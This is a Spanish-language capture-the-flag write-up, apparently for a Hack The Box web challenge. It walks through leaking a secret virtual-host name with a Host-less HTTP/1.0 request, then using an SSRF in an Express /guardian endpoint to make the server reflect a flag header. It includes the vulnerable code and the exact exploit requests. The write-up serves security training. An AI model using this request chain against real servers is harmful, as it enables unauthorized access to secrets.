Challenge Dusty Alleys
El entorno objetivo consiste en un proxy inverso Nginx expuesto públicamente y una aplicación interna en Node.js utilizando Express. La configuración de Nginx depende de una variable secreta para gestionar las rutas basadas en el dominio, mientras que la aplicación Express cuenta con un punto de enlace vulnerable a Server-Side Request Forgery (SSRF) que inyecta variables de entorno sensibles en las peticiones salientes.
El análisis de la aplicación comienza examinando las dependencias declaradas en el archivo package.json. La aplicación hace uso de paquetes estándar como Express y EJS para su funcionamiento.
{
"name": "dusty-alleys",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node index.js"
},
"dependencies": {
"ejs": "^3.1.10",
"express": "^4.19.2",
"node-fetch": "2.6.6"
},
"keywords": [],
"author": "",
"license": "ISC"
}
Una revisión más profunda de la configuración de enrutamiento de Nginx en default.conf revela cómo el proxy inverso gestiona las peticiones entrantes. El enrutamiento depende en gran medida de la cabecera Host, añadiendo una variable secreta $SECRET_ALLEY. La configuración asocia los puntos de enlace /alley y /think al dominio alley.$SECRET_ALLEY y el punto de enlace /guardian a guardian.$SECRET_ALLEY.
server {
listen 80 default_server;
server_name alley.$SECRET_ALLEY;
location / {
root /var/www/html/;
index index.html;
}
location /alley {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /think {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 80;
server_name guardian.$SECRET_ALLEY;
location /guardian {
proxy_pass http://localhost:1337;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
Al examinar la lógica de la aplicación en el archivo guardian.js, se identifican tres rutas principales. El punto de enlace /guardian acepta un parámetro llamado quote, lo procesa como una URL y verifica que el nombre de host termine en, o sea exactamente, localhost. Si la validación es exitosa, el servidor realiza una petición GET hacia la URL especificada utilizando node-fetch, inyectando la flag en la cabecera Key de la petición saliente. Por otro lado, el punto de enlace /think simplemente devuelve en formato JSON las cabeceras que recibe.
const node_fetch = require("node-fetch");
const router = require("express").Router();
router.get("/alley", async (_, res) => {
res.render("index");
});
router.get("/think", async (req, res) => {
return res.json(req.headers);
});
router.get("/guardian", async (req, res) => {
const quote = req.query.quote;
if (!quote) return res.render("guardian");
try {
const location = new URL(quote);
const direction = location.hostname;
if (!direction.endsWith("localhost") && direction !== "localhost")
return res.send("guardian", {
error: "You are forbidden from talking with me.",
});
} catch (error) {
return res.render("guardian", { error: "My brain circuits are mad." });
}
try {
let result = await node_fetch(quote, {
method: "GET",
headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
}).then((res) => res.text());
res.set("Content-Type", "text/plain");
res.send(result);
} catch (e) {
console.error(e);
return res.render("guardian", {
error: "The words are lost in my circuits",
});
}
});
module.exports = router;
Para explotar esta configuración es necesario interactuar con el punto de enlace /guardian, pero esto requiere conocer la variable secreta añadida al nombre de dominio. Dado que el protocolo HTTP/1.0 no exige el uso de la cabecera Host, es posible enviar una petición sin esta cabecera hacia el bloque de servidor predeterminado para revelar el nombre de dominio asociado. Enviar una petición HTTP/1.0 a /think sin proporcionar un Host fuerza a Nginx a procesarla utilizando la configuración por defecto, logrando así exponer el host interno.
GET /think HTTP/1.0
El servidor responde con las cabeceras generadas por Nginx, exponiendo alley.firstalleyontheleft.com como el host predeterminado.
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Jul 2026 22:51:23 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 150
Connection: close
X-Powered-By: Express
ETag: W/"96-LcrI/ItV2GriXiaHNHG8KvUQO4M"
{
"host": "alley.firstalleyontheleft.com",
"x-real-ip": "200.3.145.206",
"x-forwarded-for": "200.3.145.206",
"x-forwarded-proto": "http",
"connection": "close"
}
Habiendo identificado el dominio secreto como firstalleyontheleft.com, se formula una petición válida hacia el punto de enlace /guardian. Modificando el host a guardian.firstalleyontheleft.com y enviando http://localhost:1337/think como el parámetro quote, la aplicación ejecuta un Server-Side Request Forgery (SSRF) contra su propio punto de enlace /think. Esta petición local incluye la flag dentro de la cabecera Key, la cual finalmente es reflejada en la respuesta.
GET /guardian?quote=http://localhost:1337/think HTTP/1.1
Host: guardian.firstalleyontheleft.com
Las cabeceras reflejadas en la respuesta final exponen la flag inyectada, completando así el proceso de explotación.
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Jul 2026 22:53:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 198
Connection: keep-alive
X-Powered-By: Express
ETag: W/"c6-Y6sIT9Axx7pYyoLJfoLxv9v05Gk"
{
"key": "HTB{FLAG}",
"accept": "*/*",
"user-agent": "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)",
"accept-encoding": "gzip,deflate",
"connection": "close",
"host": "localhost:1337"
}